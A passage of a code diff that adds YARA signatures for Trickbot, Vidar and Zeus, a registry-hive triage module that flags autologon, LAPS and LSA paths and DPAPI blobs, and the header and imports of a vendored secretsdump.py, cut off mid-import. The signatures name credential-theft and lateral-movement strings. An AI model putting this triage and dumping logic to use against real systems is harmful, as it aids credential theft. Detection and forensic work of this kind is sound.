fullword + $a2 = "Last Boot Up Time - %02u/%02u/%04u %02d.%02d.%02d" wide fullword + $a3 = "Install Date - %02u/%02u/%04u %02d.%02d.%02d" wide fullword + $a4 = "System Directory - %s" wide fullword + $a5 = "OS Version - %s" wide fullword + $a6 = "***PROCESS LIST***" wide fullword + $a7 = "Product Type - Domain Controller" wide fullword + $a8 = "Registered Organization - %s" wide fullword + $a9 = "Product Type - Domain Controller" wide fullword + $a10 = "Build Type - %s" wide fullword + $a11 = "Boot Device - %s" wide fullword + $a12 = "Serial Number - %s" wide fullword + $a13 = "OS Architecture - %s" wide fullword + $a14 = "" ascii fullword + $a4 = "yesyes" ascii fullword + $a9 = "Grab_Passwords_Chrome(): Can't open database" ascii fullword + $a10 = "UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_" + $a11 = "Chrome login db copied" ascii fullword + $a12 = "Skip Chrome login db copy" ascii fullword + $a13 = "Mozilla\\Firefox\\Profiles\\" ascii fullword + $a14 = "Grab_Passwords_Chrome() success" ascii fullword + $a15 = "No password provided by user" ascii fullword + $a16 = "Chrome login db should be copied (copy absent)" ascii fullword + $a17 = "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2" wide fullword +condition: + 4 of ($a*) +} + +rule Windows_Trojan_Trickbot_d2110921 { + meta: + id = "d2110921-b957-49b7-8a26-4c0b7d1d58ad" + fingerprint = "55dbbcbc77ec51a378ad2ba8d56cb0811d23b121cacd037503fd75d08529c5b5" + creation_date = "2021-03-29" + last_modified = "2021-04-12" + description = "Targets shareDll64.dll module containing functionality use to spread Trickbot across local networks" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Manual" + maturity = "Diagnostic" + reference_sample = "05EF40F7745DB836DE735AC73D6101406E1D9E58C6B5F5322254EB75B98D236A" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "module64.dll" ascii fullword + $a2 = "Size - %d kB" ascii fullword + $a3 = "%s - FAIL" wide fullword + $a4 = "%s - SUCCESS" wide fullword + $a5 = "ControlSystemInfoService" ascii fullword + $a6 = "yes" ascii fullword + $a7 = "Copy: %d" wide fullword + $a8 = "Start sc 0x%x" wide fullword + $a9 = "Create sc 0x%x" wide fullword + $a10 = "Open sc %d" wide fullword + $a11 = "ServiceInfoControl" ascii fullword +condition: + 3 of ($a*) +} + +rule Windows_Trojan_Trickbot_0114d469 { + meta: + id = "0114d469-8731-4f4f-8657-49cded5efadb" + fingerprint = "4f1fa072f4ba577d590bb8946ea9b9774aa291cb2406f13be5932e97e8e760c6" + creation_date = "2021-03-29" + last_modified = "2021-04-12" + description = "Targets systeminfo64.dll module containing functionality use to retrieve system information" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Manual" + maturity = "Diagnostic" + reference_sample = "083CB35A7064AA5589EFC544AC1ED1B04EC0F89F0E60383FCB1B02B63F4117E9" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "%s" wide fullword + $a2 = "%s" wide fullword + $a3 = "" wide fullword + $a4 = "" wide fullword + $a5 = "%s%s%s" wide fullword + $a6 = "%s" wide fullword + $a7 = "no2" ascii fullword + $a8 = "%s" wide fullword + $a9 = "%s" wide fullword + $a10 = "" wide fullword + $a11 = "" wide fullword + $a12 = "" wide fullword + $a13 = "SELECT * FROM Win32_Processor" wide fullword + $a14 = "SELECT * FROM Win32_OperatingSystem" wide fullword + $a15 = "SELECT * FROM Win32_ComputerSystem" wide fullword +condition: + 6 of ($a*) +} + +rule Windows_Trojan_Trickbot_07239dad { + meta: + id = "07239dad-7f9e-4b20-a691-d9538405b931" + fingerprint = "32d63b8db4307fd67e2c9068e22f843f920f19279c4a40e17cd14943577e7c81" + creation_date = "2021-03-29" + last_modified = "2021-04-12" + description = "Targets vncDll64.dll module containing remote control VNC functionality" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Manual" + maturity = "Diagnostic" + reference_sample = "DBD534F2B5739F89E99782563062169289F23AA335639A9552173BEDC98BB834" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "C:\\Users\\MaxMikhaylov\\Documents\\Visual Studio 2010\\MMVNC.PROXY\\VNCSRV\\x64\\Release\\VNCSRV.pdb" ascii fullword + $a2 = "vncsrv.dll" ascii fullword + $a3 = "-new -noframemerging http://www.google.com" ascii fullword + $a4 = "IE.HTTP\\shell\\open\\command" ascii fullword + $a5 = "EDGE\\shell\\open\\command" ascii fullword + $a6 = "/K schtasks.exe |more" ascii fullword + $a7 = " " ascii fullword + $a8 = "\\Microsoft Office\\Office16\\outlook.exe" ascii fullword + $a9 = "\\Microsoft Office\\Office11\\outlook.exe" ascii fullword + $a10 = "\\Microsoft Office\\Office15\\outlook.exe" ascii fullword + $a11 = "\\Microsoft Office\\Office12\\outlook.exe" ascii fullword + $a12 = "\\Microsoft Office\\Office14\\outlook.exe" ascii fullword + $a13 = "TEST.TEMP:" ascii fullword + $a14 = "Chrome_WidgetWin" wide fullword + $a15 = "o --disable-gpu --disable-d3d11 --disable-accelerated-2d-canvas" ascii fullword + $a16 = "NetServerStart" ascii fullword +condition: + 6 of ($a*) +} + +rule Windows_Trojan_Trickbot_fd7a39af { + meta: + id = "fd7a39af-c6ea-4682-a00a-01f775c3bb8d" + fingerprint = "3f2e654f2ffdd940c27caec3faeb4bda24c797a17d0987378e36c1e16fadc772" + creation_date = "2021-03-29" + last_modified = "2021-04-12" + description = "Targets wormDll64.dll module containing spreading functionality" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Manual" + maturity = "Diagnostic" + reference_sample = "D5BB8D94B71D475B5EB9BB4235A428563F4104EA49F11EF02C8A08D2E859FD68" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "module64.dll" ascii fullword + $a2 = "worming.png" wide + $a3 = "Size - %d kB" ascii fullword + $a4 = "[+] %s -" wide fullword + $a5 = "%s\\system32" ascii fullword + $a6 = "[-] %s" wide fullword + $a7 = "yesyes" ascii fullword + $a8 = "*****MACHINE IN WORKGROUP*****" wide fullword + $a9 = "*****MACHINE IN DOMAIN*****" wide fullword + $a10 = "\\\\%s\\IPC$" ascii fullword + $a11 = "Windows 5" ascii fullword + $a12 = "InfMach" ascii fullword + $a13 = "%s x64" wide fullword + $a14 = "%s x86" wide fullword + $a15 = "s(&(objectCategory=computer)(userAccountControl:" wide fullword + $a16 = "------MACHINE IN D-N------" wide fullword +condition: + 5 of ($a*) +} + +rule Windows_Trojan_Trickbot_2d89e9cd { + meta: + id = "2d89e9cd-2941-4b20-ab4e-a487d329ff76" + fingerprint = "e6eea38858cfbbe5441b1f69c5029ff9279e7affa51615f6c91981fe656294fc" + creation_date = "2021-03-29" + last_modified = "2021-04-12" + description = "Targets tabDll64.dll module containing functionality using SMB for lateral movement" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Manual" + maturity = "Diagnostic" + reference_sample = "3963649ebfabe8f6277190be4300ecdb68d4b497ac5f81f38231d3e6c862a0a8" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "[INJECT] inject_via_remotethread_wow64: pExecuteX64( pX64function, ctx ) failed" ascii fullword + $a2 = "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pExecuteX64 failed" ascii fullword + $a3 = "%SystemRoot%\\system32\\stsvc.exe" ascii fullword + $a4 = "[INJECT] inject_via_remotethread_wow64: pExecuteX64=0x%08p, pX64function=0x%08p, ctx=0x%08p" ascii fullword + $a5 = "DLL and target process must be same architecture" ascii fullword + $a6 = "[INJECT] inject_via_remotethread_wow64: VirtualAlloc pX64function failed" ascii fullword + $a7 = "%SystemDrive%\\stsvc.exe" ascii fullword + $a8 = "Wrote shellcode to 0x%x" ascii fullword + $a9 = "ERROR: %d, line - %d" wide fullword + $a10 = "[INJECT] inject_via_remotethread_wow64: Success, hThread=0x%08p" ascii fullword + $a11 = "GetProcessPEB:EXCEPT" wide fullword + $a12 = "Checked count - %i, connected count %i" wide fullword + $a13 = "C:\\%s\\%s C:\\%s\\%s" ascii fullword + $a14 = "C:\\%s\\%s" ascii fullword + $a15 = "%s\\ADMIN$\\stsvc.exe" wide fullword + $a16 = "%s\\C$\\stsvc.exe" wide fullword + $a17 = "Size - %d kB" ascii fullword + $a18 = "yesyes" ascii fullword + $a15 = "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))" wide fullword +condition: + 4 of ($a*) +} + +rule Windows_Trojan_Trickbot_91516cf4 { + meta: + id = "91516cf4-c826-4d5d-908f-e1c0b3bccec5" + fingerprint = "69338d2e74d82d1a587a9b078d13b8a457758412ca420ca53f88923a3f8d336b" + creation_date = "2021-03-30" + last_modified = "2021-03-30" + description = "Generic signature used to identify Trickbot module usage" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Manual" + maturity = "Diagnostic" + reference_sample = "6cd0d4666553fd7184895502d48c960294307d57be722ebb2188b004fc1a8066" + scan_type = "File, Memory" + severity = 80 + strings: + $a1 = "" ascii wide + $a2 = "" ascii wide + $a3 = "" ascii wide + $a4 = "" ascii wide +condition: + 2 of ($a*) +} + +rule Windows_Trojan_Trickbot_be718af9 { + meta: + id = "be718af9-5995-4ae2-ba55-504e88693c96" + fingerprint = "047b1c64b8be17d4a6030ab2944ad715380f53a8a6dd9c8887f198693825a81d" + creation_date = "2021-03-30" + last_modified = "2021-04-12" + description = "Targets permadll module used to fingerprint BIOS/firmaware data" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Manual" + maturity = "Diagnostic" + reference_sample = "c1f1bc58456cff7413d7234e348d47a8acfdc9d019ae7a4aba1afc1b3ed55ffa" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "user_platform_check.dll" ascii fullword + $a2 = "yes" ascii fullword + $a3 = "DDEADFDEEEEE" + $a4 = "\\`Ruuuuu_Exs|_" ascii fullword + $a5 = "\"%pueuu%" ascii fullword +condition: + 3 of ($a*) +} + +rule Windows_Trojan_Trickbot_f8dac4bc { + meta: + id = "f8dac4bc-2ea1-4733-a260-59f3cae2eba8" + fingerprint = "256daf823f6296ae02103336817dec565129a11f37445b791b2f8e3163f0c17f" + creation_date = "2021-03-30" + last_modified = "2021-04-12" + description = "Targets rdpscan module used to bruteforce RDP" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Manual" + maturity = "Diagnostic" + reference_sample = "13d102d546b9384f944f2a520ba32fb5606182bed45a8bba681e4374d7e5e322" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "rdpscan.dll" ascii fullword + $a2 = "F:\\rdpscan\\Bin\\Release_nologs\\" + $a3 = "Cookie: %s %s" wide fullword + $a4 = "<" + $a5 = "<" + $a6 = "X^Failed to create a list of contr" ascii fullword + $a7 = "rdp/domains" wide fullword + $a8 = "Your product name" wide fullword + $a9 = "rdp/over" wide fullword + $a10 = "rdp/freq" wide fullword + $a11 = "rdp/names" wide fullword + $a12 = "rdp/dict" wide fullword + $a13 = "rdp/mode" wide fullword +condition: + 4 of ($a*) +} + +rule Windows_Trojan_Trickbot_9c0fa8fe { + meta: + id = "9c0fa8fe-8d5f-4581-87a0-92a4ed1b32b3" + fingerprint = "bd49ed2ee65ff0cfa95efc9887ed24de3882c5b5740d0efc6b9690454ca3f5dc" + creation_date = "2021-07-13" + last_modified = "2021-07-13" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Trickbot" + threat_name = "Windows.Trojan.Trickbot" + source = "Automated" + maturity = "Diagnostic" + reference_sample = "f528c3ea7138df7c661d88fafe56d118b6ee1d639868212378232ca09dc9bfad" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { 74 19 48 85 FF 74 60 8B 46 08 39 47 08 76 6A 33 ED B1 01 B0 01 } +condition: + all of them +} + +rule Windows_Trojan_Vidar_9007feb2 { + meta: + id = "9007feb2-6ad1-47b6-bae2-3379d114e4f1" + fingerprint = "8416b14346f833264e32c63253ea0b0fe28e5244302b2e1b266749c543980fe2" + creation_date = "2021-06-28" + last_modified = "2021-06-28" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Vidar" + threat_name = "Windows.Trojan.Vidar" + source = "Automated" + maturity = "Diagnostic" + reference_sample = "34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec" + scan_type = "File, Memory" + severity = 100 + strings: + $a = { E8 53 FF D6 50 FF D7 8B 45 F0 8D 48 01 8A 10 40 3A D3 75 F9 } +condition: + all of them +} + +rule Windows_Trojan_Vidar_114258d5 { + meta: + id = "114258d5-f05e-46ac-914b-1a7f338ccf58" + fingerprint = "9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934" + creation_date = "2021-06-28" + last_modified = "2021-06-28" + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Vidar" + threat_name = "Windows.Trojan.Vidar" + source = "Manual" + maturity = "Diagnostic" + reference_sample = "34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "BinanceChainWallet" fullword + $a2 = "*wallet*.dat" fullword + $a3 = "SOFTWARE\\monero-project\\monero-core" fullword + $b1 = "CC\\%s_%s.txt" fullword + $b2 = "History\\%s_%s.txt" fullword + $b3 = "Autofill\\%s_%s.txt" fullword +condition: + 1 of ($a*) and 1 of ($b*) +} + +rule Windows_Trojan_Zeus_e51c60d7 { + meta: + id = "e51c60d7-3afa-4cf5-91d8-7782e5026e46" + fingerprint = "f654d45152fd0e6a494b563e46e900a8afc4831dbdb832fda141146802af4a9d" + creation_date = "2021-02-07" + last_modified = "2021-07-16" + description = "Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature." + os = "Windows" + arch = "x86" + category_type = "Trojan" + family = "Zeus" + threat_name = "Windows.Trojan.Zeus" + source = "Manual" + maturity = "Diagnostic" + reference = "https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects" + reference_sample = "d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3" + scan_type = "File, Memory" + severity = 100 + strings: + $a1 = "set_url" ascii wide fullword + $a2 = "data_before" ascii wide fullword + $a3 = "data_after" ascii wide fullword + $a4 = "data_end" ascii wide fullword + $a5 = "data_inject" ascii wide fullword +condition: + 4 of them +} diff --git a/cmd/enrichment/enrichment/lib/registry.py b/cmd/enrichment/enrichment/lib/registry.py new file mode 100644 index 0000000..5cf4bfb --- /dev/null +++ b/cmd/enrichment/enrichment/lib/registry.py @@ -0,0 +1,313 @@ +# Standard Libraries +import base64 +import re +from enum import Enum + +# 3rd Party Libraries +import nemesiscommon.constants as constants +import nemesispb.nemesis_pb2 as pb +import structlog +from nemesiscommon import helpers +from Registry import Registry +from winacl.dtyp.ace import (ACCESS_ALLOWED_CALLBACK_ACE, + SYSTEM_MANDATORY_LABEL_ACE, ACEType) +from winacl.dtyp.security_descriptor import SECURITY_DESCRIPTOR + +logger = structlog.get_logger(module=__name__) + + +registry_path_regexes = [ + # # paths that contain service information + re.compile(r"^hklm[:]?\\system\\(currentcontrolset|controlset001|controlset002)\\services\\", re.IGNORECASE), + # System ENV variables + re.compile(r"^hklm[:]?\\system\\(currentcontrolset|controlset001|controlset002)\\control\\session manager\\environment", re.IGNORECASE), + # LSA settings + re.compile(r"^hklm[:]?\\system\\(currentcontrolset|controlset001|controlset002)\\control\\lsa", re.IGNORECASE), + # shutdown time/etc. + re.compile(r"hklm[:]?\\system\\(currentcontrolset|controlset001|controlset002)\\control\\windows", re.IGNORECASE), + # SecureBoot + re.compile(r"^hklm[:]?\\system\\(currentcontrolset|controlset001|controlset002)\\control\\secureboot\\state", re.IGNORECASE), + # paths for autologon information + re.compile(r"^hklm[:]?\\software\\microsoft\\windows nt\\currentversion\\winlogon", re.IGNORECASE), + # Network profiles + re.compile(r"hklm[:]?\\software\\microsoft\\windows nt\\currentversion\\networklist\\profiles", re.IGNORECASE), + # autoruns + re.compile(r"^hklm[:]?\\software\\(wow6432node\\)*microsoft\\windows\\currentversion\\(run(once)*(service)*)", re.IGNORECASE), + # UAC settings + registry audit policies + re.compile(r"^hklm[:]?\\software\\microsoft\\windows\\currentversion\\policies\\system", re.IGNORECASE), + # AppLocker + re.compile(r"^hklm[:]?\\software\\policies\\microsoft\\windows\\srpv2", re.IGNORECASE), + # .NET versions + re.compile(r"^hklm[:]?\\software\\microsoft\\net framework setup\\ndp", re.IGNORECASE), + # PowerShell versions + re.compile(r"^hklm[:]?\\software\\microsoft\\powershell\\(1|3)\\powershellengine", re.IGNORECASE), + # PowerShell core versions + re.compile(r"^hklm[:]?\\software\\microsoft\\powershellcore\\installedversions", re.IGNORECASE), + # PowerShell session settings + re.compile(r"^hklm[:]?\\software\\microsoft\\windows\\currentversion\\wsman\\plugin", re.IGNORECASE), + # RDP client settings + re.compile(r"^hklm[:]?\\software\\policies\\microsoft\\windows\\credentialsdelegation", re.IGNORECASE), + # RDP server settings + re.compile(r"^hklm[:]?\\software\\policies\\microsoft\\windows nt\\terminal services", re.IGNORECASE), + # Internet settings (proxy + zones) + re.compile(r"^hklm[:]?\\software\\microsoft\\windows\\currentversion\\internet settings", re.IGNORECASE), + # Windows Firewall settings + re.compile(r"^hklm[:]?\\software\\policies\\microsoft\\windowsfirewall", re.IGNORECASE), + re.compile(r"^hklm[:]?\\system\\currentcontrolset\\services\\sharedaccess\\parameters\\firewallpolicy", re.IGNORECASE), + # Windows Defender settings + re.compile(r"^hklm[:]?\\software\\(policies\\)*microsoft\\windows defender", re.IGNORECASE), + # Eventlog forwarding + re.compile(r"^hklm[:]?\\software\\policies\\microsoft\\windows\\eventlog\\eventforwarding\\subscriptionmanager", re.IGNORECASE), + # WSUS information + re.compile(r"^hklm[:]?\\software\\policies\\microsoft\\windows\\windowsupdate", re.IGNORECASE), + # SCCM + re.compile(r"^hklm[:]?\\software\\microsoft\\ccmsetup", re.IGNORECASE), + re.compile(r"^hklm[:]?\\software\\microsoft\\sms\\mobile client", re.IGNORECASE), + # LAPS + re.compile(r"^hklm[:]?\\Software\\Policies\\Microsoft Services\\AdmPwd", re.IGNORECASE), + # Installed software + re.compile(r"^hklm[:]?\\software\\(wow6432node\\)*microsoft\\windows\\currentversion\\uninstall", re.IGNORECASE), + + # User RDP saved connections + re.compile(r"^(?!hklm).+\\software\\microsoft\\terminal server client\\servers", re.IGNORECASE), + # User Explorer MRUs + re.compile(r"^(?!hklm).+\\software\\microsoft\\windows\\currentversion\\explorer\\runmru", re.IGNORECASE), + # User Putty information + re.compile(r"^(?!hklm).+\\software\\simontatham\\putty", re.IGNORECASE), + # User onedrive info + re.compile(r"^(?!hklm).+\\software\\syncengines\\providers\\onedrive", re.IGNORECASE), + # Internet Explorer typed URLs + re.compile(r"^(?!hklm).+\\software\\microsoft\\internet explorer\\typedurls", re.IGNORECASE), + + # TODO: + # Office MRUs https://github.com/GhostPack/Seatbelt/blob/master/Seatbelt/Commands/Products/OfficeMRUsCommand.cs +] + +registry_value_regexes = [ + # privesc check + re.compile(r"^AlwaysInstallElevated$"), + # OS information + # re.compile(r"^(ProductName|EditionID|ReleaseId|BuildBranch|CurrentMajorVersionNumber|CurrentVersion|CurrentBuildNumber)$"), +] + + +class RegistryValueKindEnum(Enum): + NONE = 0 + SZ = 1 + EXPAND_SZ = 2 + BINARY = 3 + DWORD = 4 + DWORD_BIG_ENDIAN = 5 + LINK = 6 + MULTI_SZ = 7 + RESOURCE_LIST = 8 + FULL_RESOURCE_DESCRIPTOR = 9 + RESOURCE_REQUIREMENTS_LIST = 10 + QWORD = 11 + + +# these are the value types that DPAPI data can be carved from +dpapi_check_values = { + RegistryValueKindEnum.SZ.value: "", + RegistryValueKindEnum.EXPAND_SZ.value: "", + RegistryValueKindEnum.BINARY.value: "", + RegistryValueKindEnum.MULTI_SZ.value: "", +} + + +async def get_hive_name(hive_path: str) -> str: + """ + Takes a registry hive path on disk and tries to determine + the hive name (e.g., HKLM\Security). + """ + reg = Registry.Registry(hive_path) + if reg.hive_type() == Registry.HiveType.BCD: + return "HKLM\\BCD00000000" + elif reg.hive_type() == Registry.HiveType.SAM: + return "HKLM\\SAM" + elif reg.hive_type() == Registry.HiveType.SECURITY: + return "HKLM\\SECURITY" + elif reg.hive_type() == Registry.HiveType.SYSTEM: + return "HKLM\\SYSTEM" + elif reg.hive_type() == Registry.HiveType.SOFTWARE: + return "HKLM\\SOFTWARE" + elif reg.hive_type() == Registry.HiveType.NTUSER: + # if we have a HKU user hive, since there's not an established way to recover + # the user's SID for the mounting point, instead enumerate all of the ALLOW + # ACEs on the registry root and see if we can recover the user SID from there + sk = reg.root()._nkrecord.sk_record() + sd_size = sk.unpack_dword(16) + sd = SECURITY_DESCRIPTOR.from_bytes(sk.unpack_binary(20, sd_size)) + sids = [f"{ace.Sid}" for ace in sd.Dacl.aces if ace.AceType == ACEType.ACCESS_ALLOWED_ACE_TYPE and re.match("S-1-5-21-.*", f"{ace.Sid}")] + if len(sids) < 1: + raise Exception("Can't derive a proper user SID from the DACL on the hive root") + elif len(sids) > 2: + raise Exception("Derived multiple user SIDs from the DACL on the hive root") + else: + return f"HKU\\{sids[0]}" + elif reg.hive_type() == Registry.HiveType.UNKNOWN: + hive_name_lower = reg.hive_name().lower() + if hive_name_lower.endswith("system32\\config\\drivers"): + return "HKLM\\DRIVERS" + # TODO: hardware hive? others? + else: + raise Exception(f"Can't determine naming root for hive: {hive_path}") + + +async def registry_recurse(key: Registry.RegistryKey, hive_root: str = "", check_values: bool = False): + """ + Recurses a RegistryKey start, replacing ROOT with the specified hive_root. + + If check_values is false, all keys are emitted as RegistryValueIngestion protobufs. + + If check_values is true, all keys run through include_registry_value and are emitted + as RegistryValueIngestion protobufs if the check is true. + """ + + key_path = key.path() + sddl = "" + + try: + # get the security record for this key + sk = key._nkrecord.sk_record() + # get the size of the security descriptor + sd_size = sk.unpack_dword(16) + # read `sd_size` bytes at the sd offset and transform to a SDDL + sddl = SECURITY_DESCRIPTOR.from_bytes(sk.unpack_binary(20, sd_size)).to_sddl() + except AttributeError as e: + if e.name == "to_sddl" and type(e.obj) == ACCESS_ALLOWED_CALLBACK_ACE: + logger.warning( + "Data loss due to bytes-to-SDDL conversion failing due to a known bug: there's an ACCESS_ALLOWED_CALLBACK_ACE in the security descriptor (see https://github.com/skelsec/winacl/issues/10)", + key_path=key_path, + ) + elif e.name == "to_sddl" and type(e.obj) == SYSTEM_MANDATORY_LABEL_ACE: + logger.warning( + "Data loss due to bytes-to-SDDL conversion failing due to a known bug: there's an SYSTEM_MANDATORY_LABEL_ACE in the security descriptor", + key_path=key_path, + ) + else: + logger.exception( + e, + msg="Bytes to SDDL conversion failed", + key_path=key_path, + ) + except ValueError as e: + if f"{e}" == "20 is not a valid ACEType": + logger.warning( + "Data loss due to bytes-to-SDDL conversion failing due to a known bug: there's an ACCESS_ALLOWED_CALLBACK_ACE in the security descriptor (see https://github.com/skelsec/winacl/issues/10)", + key_path=key_path, + ) + else: + logger.exception( + e, + msf="Bytes to SDDL conversion failed", + key_path=key_path, + ) + + if hive_root: + key_path = key_path.replace("ROOT", hive_root) + + for value in key.values(): + try: + value_name = value.name() + value_type = value.value_type() + if value_type == RegistryValueKindEnum.BINARY.value: + # base64 encode binary data + value_data = base64.b64encode(value.value()).decode("utf-8") + else: + value_data = value.value() + + # if we're not checking registry values (targeted value extraction) or + # we're checking all values (mass value extraction) + tags = await include_registry_value(key_path, value_name, value_type, value_data) + if not check_values or tags: + reg_key = pb.RegistryValueIngestion() + if hive_root: + reg_key.key = key_path.replace("ROOT", hive_root) + else: + reg_key.key = key_path + reg_key.value_name = value_name + reg_key.value_kind = value_type + reg_key.value = f"{value_data}" + reg_key.sddl = sddl + reg_key.tags = tags + yield reg_key + except: + pass + for subkey in key.subkeys(): + async for result in registry_recurse(subkey, hive_root, check_values): + yield result + + +async def get_registry_values_from_hive(hive_path: str, scan_all_values: bool = True): + """ + If scan_all_values is true, extract all values from the hive, checking + each against include_registry_value(). This is more complete but less performant. + + Otherwise since hive files have a _lot_ of data that need to be parsed, + we may want to manually extract the specific keys we want instead of extracting + _everything_ and checking for inclusion after. This is less complete but more performant. + + """ + + reg = Registry.Registry(hive_path) + # grab the root of the hive + hive_root = await get_hive_name(hive_path) + + if scan_all_values: + # Mass value extraction/scanning. + try: + async for result in registry_recurse(reg.root(), hive_root, True): + yield result + except Exception as e: + await logger.aexception(e) + else: + # Targeted value extraction. + + # Services + try: + select = reg.open("Select") + current = select.value("Current").value() + services = reg.open("ControlSet00%d\\Services" % (current)) + async for result in registry_recurse(services, hive_root): + yield result + except Exception as e: + await logger.aexception(e) + + +async def include_registry_value(key: str = "", value_name: str = "", value_kind=None, value=None) -> str: + """ + Returns a REG_TAG_X value if the key (and optional value name) should be emitted + back into the queue. This functions as the central filtering logic + for what registry keys to include in the backend model. + """ + + # check all of our path regexes + if key: + for registry_path_regex in registry_path_regexes: + if registry_path_regex.search(key): + return constants.REG_TAG_KEY + + # check all of the value regexes + if value_name: + for registry_value_regex in registry_value_regexes: + if registry_value_regex.search(value_name): + return constants.REG_TAG_VALUE + + if value and value_kind and value_kind in dpapi_check_values: + # check specific value types for DPAPI blobs + if type(value) == bytes: + if await helpers.scan_for_dpapi_blob(value): + return constants.REG_TAG_DPAPI + elif type(value) == str: + try: + if await helpers.scan_for_dpapi_blob(value.encode("utf-8")): + return constants.REG_TAG_DPAPI + except: + try: + if await helpers.scan_for_dpapi_blob(value.encode("ascii")): + return constants.REG_TAG_DPAPI + except: + pass + + return "" diff --git a/cmd/enrichment/enrichment/lib/secretsdump.py b/cmd/enrichment/enrichment/lib/secretsdump.py new file mode 100644 index 0000000..645a7e6 --- /dev/null +++ b/cmd/enrichment/enrichment/lib/secretsdump.py @@ -0,0 +1,3441 @@ +# from https://raw.githubusercontent.com/fortra/impacket/1df3490f3d6199ba834899209213cd562bc8bcfd/impacket/examples/secretsdump.py +# Apache License Version 1.1 +# Modifications by @harmj0y: don't display secrets being dumped + +# Impacket - Collection of Python classes for working with network protocols. +# +# Copyright (C) 2022 Fortra. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Performs various techniques to dump hashes from the +# remote machine without executing any agent there. +# For SAM and LSA Secrets (including cached creds) +# we try to read as much as we can from the registry +# and then we save the hives in the target system +# (%SYSTEMROOT%\\Temp dir) and read the rest of the +# data from there. +# For NTDS.dit we either: +# a. Get the domain users list and get its hashes +# and Kerberos keys using [MS-DRDS] DRSGetNCChanges() +# call, replicating just the attributes we need. +# b. Extract NTDS.dit via vssadmin executed with the +# smbexec approach. +# It's copied on the temp dir and parsed remotely. +# +# The script initiates the services required for its working +# if they are not available (e.g. Remote Registry, even if it is +# disabled). After the work is done, things are restored to the +# original state. +# +# Author: +# Alberto Solino (@agsolino) +# +# References: +# Most of the work done by these guys. I just put all +# the pieces together, plus some extra magic. +# - https://github.com/gentilkiwi/kekeo/tree/master/dcsync +# - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html +# - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html +# - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html +# - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13 +# - https://code.google.com/p/creddump/ +# - https://lab.mediaservice.net/code/cachedump.rb +# - https://insecurety.net/?p=768 +# - https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/ntsecurity/index.htm +# - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf +# - https://www.passcape.com/index.php?section=blog&cmd=details&id=15 +# +from __future__ import division +from __future__ import print_function +import codecs +import json +import hashlib +import logging +import ntpath +import os +import re +import random +import string +import time +import base64 +from binascii import unhexlify, hexlify +from collections import OrderedDict +from datetime import datetime, timedelta +from struct import unpack, pack +from six import b, PY2 + +from impacket import LOG +from impacket import system_errors +from impacket import winregistry, ntlm +from impacket.ldap.ldap import SimplePagedResultsControl, LDAPSearchError +from impacket.ldap.ldapasn1 import SearchResultEntry +from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi +from impacket.dcerpc.v5.dtypes import NULL +from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ + VARIANT, VARENUM, DISPATCH_METHOD +from impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \ + OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \ + IRemUnknown2, INTERFACE +from impacket.ese import ESENT_DB, getUnixTime +from impacket.dpapi import DPAPI_SYSTEM +from impacket.smb3structs import FILE_READ_DATA, FILE_SHARE_READ +from impacket.nt_errors 